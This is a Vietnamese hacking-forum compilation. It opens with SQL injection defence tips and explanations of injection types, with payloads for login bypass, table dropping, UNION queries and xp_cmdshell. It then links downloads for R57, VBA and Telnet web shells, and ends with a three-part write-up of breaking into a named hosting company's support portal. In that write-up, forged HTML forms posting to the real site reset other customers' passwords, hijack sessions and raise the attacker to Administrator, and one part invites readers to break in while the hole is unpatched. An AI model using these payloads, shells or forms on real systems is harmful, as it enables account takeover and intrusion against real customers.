1. Đối với website (dành cho lập trình viên): Cần kiểm tra tính đúng đắn của tất cả dữ liệu đầu vào. Dữ liệu đầu vào không chỉ là các tham số, mà bao gồm cả cookie, user agent, referer …
Việc kiểm tra tính đúng đắn của dữ liệu có thể dựa trên các phương pháp sau:

- Kiểm tra dựa vào kiểu dữ liệu (số, ngày tháng …)
- Kiểm tra, giới hạn độ dài đầu vào
- Loại bỏ các ký tự đặc biệt như: ‘ % ” ? # @ & …
- Loại bỏ các từ đặc biệt: select, drop, delete, information_schemal, insert, union, xp_ …

2. Đối với web server (dành cho quản trị mạng): Hầu hết các máy chủ web (web server) hiện nay đều có các module hỗ trợ việc phòng chống SQL Injection, ví dụ, Apache có modsecurity, IIS có URLScan. Bạn chỉ cần bật tính năng này và cấu hình cho phù hợp. Nếu website của bạn là dạng trang tin tức thì rất phù hợp để triển khai. Trong một số trường hợp khác, các module này có thể chặn nhầm, dẫn tới website hoạt động không chính xác.

3. Đối với database server (dành cho quản trị mạng): Bạn cần thực hiện việc cấu hình phân quyền chặt chẽ đối với các tài khoản. Khi đó, dù tồn tại lỗi SQL Injection, thiệt hại cũng sẽ được hạn chế. Ngoài ra, bạn cần loại bỏ các bảng, thành phần và tài khoản không cần thiết trong hệ thống.

4. Một số lời khuyên khác:

- Bạn cần tắt tất cả các thông báo lỗi không cần thiết của web server. Hacker có thể lợi dụng chính các thông báo lỗi này để khai thác thông tin của hệ thống, phục vụ cho một cuộc tấn công SQL Injection.
- Bạn cần bật các chế độ ghi log đầy đủ để phục vụ việc điều tra phát hiện cuộc tấn công và giải quyết sự cố.
- Bạn cần thường xuyên theo dõi và cập nhật phiên bản cho platform của website (hệ điều hành, web server, database server…).

Part 1: Các dạng lỗi thường gặp

SQL injection là một kỹ thuật điền vào những đoạn mã SQL bất hợp pháp cho phép khai thác một lỗ hổng bảo mật tồn tại trong cơ sở dữa liệu của một ứng dụng. Lỗ hổng bảo mật này có thể xuất hiện khi ứng dụng không có đoạn mã kiểm tra chuỗi ký tự thoát nhúng trong câu truy vấn SQL hoặc do sự định kiểu đầu vào không rõ ràng hay do lỗi cú pháp SQL của lập trình viên khiến cho một đoạn mã ngoại lai có thể được sử lý ngoài ý muốn. Nó là một ví dụ của sự rủi ro khi một ngôn ngữ lập trình hay ngôn ngữ kịch bản được nhúng trong một ngôn ngữ khác. Tấn công SQL injection còn có thể hiểu là hình thức tấn công chèn bất hợp pháp các đoạn mã SQL.

1. Các dạng lỗi thường gặp
1.1/ Không kiểm tra ký tự thoát truy vấn

Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng những người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích khác hẳn so với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị của biến userName như sau:

a' or 't'='t

Khiến câu truy vấn có thể được hiểu như sau:

SELECT * FROM users WHERE name = 'a' OR 't'='t';

Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng. Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh họa bằng một API cho phéo thực hiện nhiều truy vấn cùng lúc:

a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't

Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE 't' = 't';

1.2/ Xử lý không đúng kiểu

Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà người dùng nhập vào có phải là số hay không. Ví dụ như sau:

statement := "SELECT * FROM data WHERE id = " + a_variable + ";"

Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của biến a_variable là:

1;DROP TABLE users

khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì câu truy vấn hoàn chỉnh đã được hiểu là:

SELECT * FROM DATA WHERE id=1;DROP TABLE users;

1.3/ Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu

Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát.

1.4/ Blind SQL injection

Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng bit sữ liệu. Những kẻ tấn công còn có thể sử dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn.

1.4.1/ Thay đổi giá trị điều kiện truy vấn

Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;

Sẽ hiển thị một trang một cách bình thường, trong khi:

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;

sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi SQL injection dạng này. Lỗ hổng dạng này còn cho phé tin tặc không chỉ gây ảnh hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại.

1.4.2/ Điều kiện lỗi

Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:

SELECT 1/0 FROM users WHERE username='Ralph';

Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại trong cơ sở dữ liệu.

1.4.3/ Thời gian trễ

Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.

Part 2: Một số dạng tấn công thường gặp với các ứng dụng web

2. Một số dạng tấn công thường gặp với các ứng dụng web

Có bốn dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lện SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures.

2.1/ Dạng tấn công vượt qua kiểm tra lúc đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang : 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng như sau:

- Trang nhập liệu: login.htm
Mã:

<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">
</form>

- Trang xử lý nhập liệu: execlogin.asp
Mã:

<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing %>

Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: 'OR=. Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' AND USR_PASSWORD= ''OR''=''

Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.

2.2/ Dạng tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:
Mã:

<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>

Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:

' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '='

Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:

' DROP TABLE T_AUTHORS --

Câu truy vấn sẽ thực hiện việc xóa bảng.
2.3/ Dạng tấn công sử dụng câu lệnh INSERT

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')

Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
Mã:

<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>

Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:

' + (SELECT TOP 1 FieldName FROM TableName) + '

Lúc này câu truy vấn sẽ là :

INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')

Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:

SELECT TOP 1 FieldName FROM TableName

2.4/ Dạng tấn công sử dụng stored-procedures

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

Code Shell


 Tools Encode - Decode : http://www.mediafire.com/?1wmie6x0ge2q5dr

               [+] Thông Tin :

                  1/ Encode - Decode HTML
                  2/ Encode - AutoDecode ( 1 hoặc 15 lần ) PHP
                  3/ Chuyển ký tự sang mã ASCII , Binary , Hex



R57 Shell : http://www.mediafire.com/?qq8myol16fb8qtd


VBA Shell : http://www.mediafire.com/?7439etdaeo2yzha


Telnet Shellhttp://www.mediafire.com/?9l41apsrg2rjtp7



User/password : renzo

PAVIETNAM bị hack như thế nào ? 07-18-2006, 11:01 AM

author : Kehieuhoc ( HCE-Group )

PA VIETNAM là công ty bán HOST nổi tiếng ở Việt Nam chắc các bạn củng biết .Họ đang xây dựng và triển khai mô hình hổ trợ khách hàng theo phong cách khoa học như các công ty nổi tiếng khác đang xử dụng .Tò mò với mô hình này mình đã lướt qua xem thử ....
http://support.pavietnam.net

Khà khà ...

khi bạn mua host của họ bạn sẽ được cấp cho một acc để vào trang support. Vào trang này bạn có thể quản lý các host và domain của bạn chẳng hạng như : lấy lại password ,hủy dich vụ ... host và domain của mình. Và tất nhiên nó cho phép mình thay đổi thông tin cá nhân của mình như Password...

Lướt qua bao nhiêu vậy thôi bay giờ chúng ta hãy vào vấng đề chính :

Nhìn sơ qua xét về thi hệ thống support này cũng khá là bảo mật ,nó cho tắt biệt riêng từng acc một.

Lươt thêm một dòng nữa :(chổ quan trọng đây !) vào phần thay đổi thông tin cá nhân :

user posted image

Như các bạn thấy đó ,nó cho phép ta thay đổi mật khẩu mà không thèm hỏi mật khẩu cũ của ta . He he he ....  (một chổ hở lớn đây !)

Lại thấy phần Mã khách hàng . Suy luận một tý -> :-P


Thứ nhất thông tin mã khách hàng trả về nhờ vào quá trình đăng nhập ,nó đã tạo ra một sesion lưu thông tin mã khách hàng của ta lại . Theo bạn nghĩ vậy thì có gì mà ta lại quan tâm -> ;;-)

Vấng đề la ở chổ này !

View Source của nó lên xem thử đã :



Code:

<td class="td_2">Maillist</td>
        <td class="td_2">:</td>
        <td class="td_2"><input type='radio' name='mailto' value='1' CHECKED> Nhận mail<input type='radio' name='mailto' value='0'> Không nhận mail</td>
      </tr>  
      <tr>
        <td class="td_2">Thuộc nhóm</td>
        <td class="td_2">:</td>
        <td class="td_2">
                                          <input name='mgroup' value='1' type='radio' CHECKED>                        </td>
      </tr>
      <tr>
        <td class="td_1">&nbsp;</td>
        <td class="td_1">&nbsp;</td>
        <td class="td_1">
                <input name="upid" value='****' type="hidden">
                <input name="pro" type="submit" class="submitbutton" value="&nbsp;Thay đổi&nbsp;">
          &nbsp;<input name="Submit2" type="reset" class="submitbutton" value="&nbsp;Làm lại&nbsp;"></td>
      </tr>
    </table><p style="margin-bottom: -19"></FORM>
    <table width="100%" height="10" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td><img src="images/spaces.gif" width="1" height="1"></td>
      </tr>
    </table></td>

Khà khà ,có điều thú vị nữa đây !!!
Bạn tinh mắt một tý thì thấy nó có thẻ

<input name="upid" value='****' type="hidden">






Code:
<form action="post.php" method="post">
-> đây chính là mã khách hàng mà ta đăng nhập đây -> vậy ta có một dự đón nếu file "post.php" kiểm tra mã khách hàng muốn thây đổi thông tin bằng cái <input name="upid" value='****' type="hidden"> thì ta có thể lợi dụng được nó !!! :-P (bây giờ thỉ phải thử mới biết được)

Tạo môt file pass.html có nội dung như sau :
Code:
<form action="http://support.pavietnam.net/post.php" method="post">
<table  border="0" align="center">
  <tr>
    <td>Ma khach hang : </td>
    <td>
    <input name="upid" >      </td>
  </tr>
  <tr>
    <td>Mat Khau : </td>
    <td><input name="pass"  size="20"></td>
  </tr>
  <tr>
    <td>Email</td>
    <td><span class="td_2">
      <INPUT name='email' class=box_input size="20">
    </span> </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><input name="pro" type="submit" class="submitbutton" value="Thay doi"></td>
  </tr>
</table>
</form>
Ta nhập vào một mã khách hàng bất kì ví dụ "1001" va pass "123456"
Nhấn Submit

Sau đó vào lại trang login của nó nhập mã khách hàng và pass

-> ;;-) he he he không ngoài dự tính , file post.php kiễm tra mã khách hàng từ phía clien nên thông tin mã khách hàng trên đã bị thay đổi và ta có thể vào và tất nhiên là nắm quyền quản lý domain va host cua khách hàng !!!!

(file post.php cho phép ta truy xuất tới nó mặt dù ta không phải là thành viên)

Phần kết:

- Mức độ lỗi rất nguy hiểm !

-Đã thông báo với PA VIETNAM và họ đã fix !!!

Chào các bạn ! Như các bạn đã biết lần trước PA VIETNAM đã mắc phải một lỗi hết sức nghiêm trọng về hệ thống support của họ , đó là lỗi kiễm tra mã khách hàng từ phía client .

Xem qua bài viết Hack PA VIETNAM phần I :

http://hcegroup.net/Forums/index.php?showtopic=1884

Chú ý : Vì mức độ cực kỳ nguy hiểm mà bug thì chưa được PA VIETNAM fix (đã cố gắng thông báo với PA nhưng không ai trả lời hết ) nên mình nói trước với các bạn là sau khi các bạn đọc những gì mình viết dưới đây các bạn cứ đột nhập vào nhưng nhưng chỉ để tham khảo thôi, đừng có phá phách người ta tội nghiệp. Mình không chịu bất cứ trách nhiệm nào về việc làm của bạn khi áp dụng những gì mình viết dưới đây.

-> Có lẻ là hơi nhàm nhưng phải viết



Phần I cũng tương đối là thú vị phải không các bạn ! Nếu các bạn có nhã hứng chúng ta hãy cùng xem qua phần II -> niềm vui sẽ tăng gấp đôi !

-> he he he !!! Vào vấng đề thôi :

Chiều nay trời mưa to quá ! nguoihung chẳng biết làm gì ngoài việc ngồi vào chiếc PC của mình như mọi khi !

PC vừa khởi động xong , nguoihung liền bật ngay cái Internet Explorer lên , và lướt web .

Dạo qua trang www.vnn.vn xem một vài tin tức chơi -> -> hvanews.net -> và cuối cùng là vào hvaonline.net , sau khi xem một vài bài viết mới , đột nhiên nguoihung thấy cái topic Hack PAVIETNAM mà mình đã post cách đây vài hôm . Tự nhiên lại thấy ngứa ngáy với cái SUPPORT của PA quá -> ( máu hack hiết nỗi lên rồi ! )

-> http://support.pavietnam.net -> Enter -> Một cái bảng đăng nhập quen thuộc lại hiện ra

Nhập user và pass và login vào -> hi hi ! -> cái mã khách hang của minh lại hiên ra to tứơng -> nhớ lại hôm trước đã báo lỗi cho PA và họ đã fix -> hu hu hu -> vậy thì còn lỗi đâu mà hack với hiết nữa -> đành bó tay vậy -> thôi thì ta dọc nó chơi cho đỡ chán cũng được !

Dọc xong để đó một hồi lâu -> mở cửa sổ IE khác duyệt web xem tin tức tiếp -> chặp sau quay qua cửa sổ support cua PA ! -> oái nó bắt mình đăng nhập lại kìa !

Cháng quá ! ừ thôi thì đăng nhập lại -> nhưng lại bực mình quá ! -> moi cái thằng login này ra xem cái đã ( login.php ) !

-> ngay tại cửa sổ IE đã đăng nhập vào hể thống support nguoihung gõ : " http://support.pavietnam.net/login.php " -> enter một phát coi -> oái oái , sao lại thế này -> nó không hiên ra cái bảng đăng nhập nữa mà lại chạy thẳng vào " trang chủ " của SUPPORT luôn !

Bực thật ! -> đành mở cửa sổ IE khác thử xem ! -> hi hi hi bây giờ thì cái bảng đăng nhập nó mới chiệu hiên ra ! -> nhưng bây giờ làm gì nữa đây -> không biêt làm gì hêt ngoài chuyện ngồi suy luận -> -> suy nghĩ một tý !

Quay lại các bước mình đã đi qua và giải thích thử xem có gì đáng chú ý không ->

Đầu tiên thì ta đăng nhập vào hệ thông ( không có gì đáng chú ý cả )

-> tiếp theo để một hồi lâu thì nó bắt mình đăng nhập lại ( session đã hết thời gian và không có sử dụng cookie )

-> tiếp theo ta nhập lại và chay link tới file " login.php " ngay trên cửa sổ IE đã đăng nhập thì nó lại chạy thẳng vào trang chủ ( chổ này hình như có vấn đề ! ) -> nhưng mà vấn đề gì vậy ? -> không biết nữa để suy luận cái đả

Thứ nhất : sở dĩ chúng ta bị quay lai trang chủ luôn là do một biến session nào đó được tạo khi ta đã login và file login.php phải có một đoạn là " nếu nhận được giá trị này thì quay về trang chủ " -> nhưng như vậy thì chẳng có gì hết !

he he he ! đừng xem thường chổ này ! -> cái đáng chú ý là cái biến session này phải có dạng tổng quát , tức là nó phải làm sao khi không chỉ riêng một tài khoản mà tất cả các tài khoản khác khi làm như nguoihung thì cũng phải bị quay về trang chủ . Vậy thì mình sẽ hình dung cái biến session đó có dạng đại khái như :


Code:
session_register("login");
 $login="true";



-> vậy thì ở đây mình được gì ?

-> có chứ ! mình được cấp session như bao khách hàng hàng (đặt biệt là ADMIN )

Tới đây chúng ta đã đi được hình như là nữa chặng đường rồi đó -> hãy suy luận thêm một tý nữa đi !

Nhớ lại lúc ta login -> thấy xuất hiện cái mã khách hàng to tướng ở trang chủ -> khà khà -> vậy thì cần phải có thêm một biến session nữa đây -> có lẽ nó sẽ như vầy :



CODE
session_register("makhachhang");
$makhachhang="mã khách hàng ta nhập vào lúc đăng nhập";



-> Ha ha ha -> cuối cùng thì vấn đề là chổ này đây -> bây giờ ta có một dự đoán -> nếu thằng " login.php " này kiễm tra quá đăng nhập yếu kém thì ta có thể tậng dụng được sơ hở này để thay đổi cái session "ma khach hàng trên "

Khà khà ! còn đợi gì nữa ! bây giờ ta phải thử thôi !

Tạo môt file login.html có nội dung như sau :


Code:
<form name="login_form" method="post" action="http://support.pavietnam.net/check.php?action=login">
   <table border="0" align="center">
    <tr>
      <td class="color_2">&nbsp;</td>
      <td class="color_2"><strong>DANG NHAP </strong></td>
                  </tr>
    <tr>
      <td>Ma khach hang </td>
      <td>          <div align="center">
        <input name="username" type="text"  size="20" tabindex="1">        
         </div>          <div align="center">              </div></td>
    </tr>
    <tr>
      <td></td>
      <td>
      </td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td>          <input name="Submit" type="submit" class="submitbutton" value="Dang nhap">           </td>
    </tr>
      </table>
</form>



Lưu file login.html vào PC của ta

Sau đó đăng nhập vào SUPPORT của PA -> gọi file login.html ngay trên cửa sổ trinh duyệt mà ta mới vừa đăng nhập !

Oái oái cái file login lúc nãy ta tạo không có ô nhập pass vậy trời -> thôi thì nhập user không vậy ,vi dụ : pa-2503

-> Enter thử xem ! -> oái nó báo " Mật khẩu không đúng " -> làm sao bây giờ -> cứ nhấn OK ->

Sau khi nhấn OK , nhìn lại thấy nó đưa ta trở về trang "index.php" (trang chủ) -> Khà khà -> nhưng lần này không như lần trước -> Mã khách hàng hiện lên là : " pa-2503 " và tất nhiên là những domain và hosting của khách hàng này củng hiện ra luôn -> Bây giờ làm gì nữa đây -> hi hi hi khó quá .....

Phần kết :

- Mức độ lỗi cực kỳ nguy hiễm !
- Các bạn đọc xong nhớ báo cho PA dum mình nha , đừng có phá họ làm gì

Nếu ai có hứng thú muốn xem tiếp thì hãy đợi : "Hack PAVIETNAM phần III "

=================================================

Chào các bạn ! Hôm nay chúng ta sẽ tiếp tục đi vào nghiên cứu về hệ thống SUPPORT của PA VietNam !

Trước khi vào vấn đề các bạn hãy tham khảo qua:

Hack PA VIETNAM phần I và Hack PA VIETNAM phần II


Nào chúng ta cùng đi vào vấng đề !

Sau bài viết Hack PA phần II mình có hứa với các bạn về bài viết phần III -> chính vì lời hứa này làm phải chạy đôn chạy đáo -> kiếm cho được cái lỗi để viết tiếp phần III -> khổ quá !

Lần trước báo cho PA 2 bug nguy hiểm , nên họ đã cẩn thận hơn rất nhiều ! -> trùi ui làm sao bây giờ

-> tìm bug mà chẳng có source để nghiên cứu thì làm sao mà tìm bây giờ !

Định bụng chạy lên công ty của PA xin luôn cái Source về nghiên cứu cho dễ -> nhưng nghĩ lại làm biến quá ! -> thôi thì bật PC lên nghiên cứu thôi !

http://support.pavietnam.net -> Enter 1 phát -> đăng nhập vào hệ thống Support của PA

Lướt qua rồi lướt lại chẳng thấy cái gì đáng chủ ý cả -> buồn ghê gớm !

Chẳng biết làm gì nữa -> he he -> buồn wá quay qua lục lại những bài viết về Hack PA của mình đọc lại chơi -> xem thử có khuyết điểm nào không

Xem đi rồi xem lại thấy những bài viết của mình cũng tạm tạm -> nhưng chưa tìm được khuyết điểm trong bài viết của mình thì lại thấy khuyết điểm của PA VietNam trước rùi ! -> thú vị nữa đây !

Nếu đã đọc qua bài viết phần I -> bạn nào tò mò thì khi nhìn vào cái hình minh hoạ sẽ thắc mắc ngay (xem hình cái đã !) :

user posted image

Các bạn đã xem lại hình rùi đó ! -> như vậy có gì đâu mà théc méc ta !

-> Khà khà có đấy -> ta hãy nhìn kỹ lại và để ý đến cái dòng cuối cùng -> có dòng chử " thuộc nhóm " -> trùi ui cái đây để làm vậy ta
-> chắc nó muốn phân biệt giữa khách hàng và ai đó !

-> nhưng mà ở đây là khách của PA thì còn ai nữa đây -> không ai cả , ngoại trừ lão mà trả lời câu hỏi của khách hàng trong support !

-> Và lão này tất nhiên là có quyền nhiều hơn là khách hàng bởi lão xem được tất các yêu cầu của khách hàng mà -> vậy lão là ADMIN rùi -> hi hi

-> Như vậy là chúng ta đã giải đáp được théc méc rùi đó -> bây giờ làm nữa đây !

-> Chả biết làm gì hết -> ngoài chuyện ngồi ngẫm nghĩ !

Bây giờ ta view source lên xem lại ! -> khà khà

Các bạn hãy tìm đến ô check box của dòng chử " Thuộc nhóm "

Chính là cái thẻ này đây :

<input name='mgroup' value='1' type='radio' CHECKED>

Chúng ta hãy suy luận thêm một tý :

"mgroup" có giá trị là "1" thì sẽ là khách hàng -> vậy "mgroup" có giá trị bao nhiêu thì sẽ là ADMIN

-> giá trị này có lẽ sẽ gần con số "1" , chứ chẳng lẽ ...

-> Vậy có thể bằng "-1" , "0" , hoặc "2" ,hoặc "3"

-> trùi ui -> bây giờ phải thử cái đã !

Tạo một file test.html có nội dung như sau:
CODE
<form action="http://support.pavietnam.net/post.php" method="post">
<input name='mgroup' value=''>
<input name="upid" value='Mã khách hàng của ta' type="hidden">
<input name="pro" type="submit" class="submitbutton" value="&nbsp;Thay đổi&nbsp;">
</FORM>


Lưu lại và chạy nó lên bằng trình duyệt mà ta đã login -> sau đó ta bắt đầu nhập giá trị mà ta đã suy luận ở trên -> trui ui mệt wá

-> Nhập con sô đầu tiên "-1" -> submit -> xong nó mất luôn cái chử khách hàng -> chẳng sao cả -> ta log out và login lại là được

-> Sau 3 lần test -> vẫn không có gì hết -> giờ đến lần thứ tư giá trị là con số "3" -> Submit thử coi -> khà khà khà

Sau khi logout và login lại -> điều thú vị đã xãy ra -> nhìn lại thấy ta đang thuộc nhóm Administrator -> Tức có quyền cao nhất !

Phần kết :

" Đừng bao giờ bỏ qua nhưng chi tiết dù có là nhỏ nhoi -> đôi khi nó lại có ích cho ta "

-> mức độ lỗi rất nguy hiễm
-> PA VietNam đã fix

"Nếu các bạn có nhã hứng hãy đoán xem hack PA VietNam phần IV"

-------- KeHieuHoc - HCEGROUP ---------